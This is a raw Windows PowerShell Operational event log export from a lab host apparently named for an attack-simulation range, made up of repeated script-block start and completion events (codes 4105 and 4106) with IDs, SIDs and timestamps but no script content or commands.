OpCode=On create calls
RecordNumber=2648076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648075
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648073
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648071
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648069
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648067
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648085
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648083
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648081
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648079
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648077
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648096
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648095
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648093
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648091
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648089
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648087
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648106
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648105
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648103
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648101
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648099
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648097
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648115
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648113
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648111
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648109
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648107
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648125
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648123
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
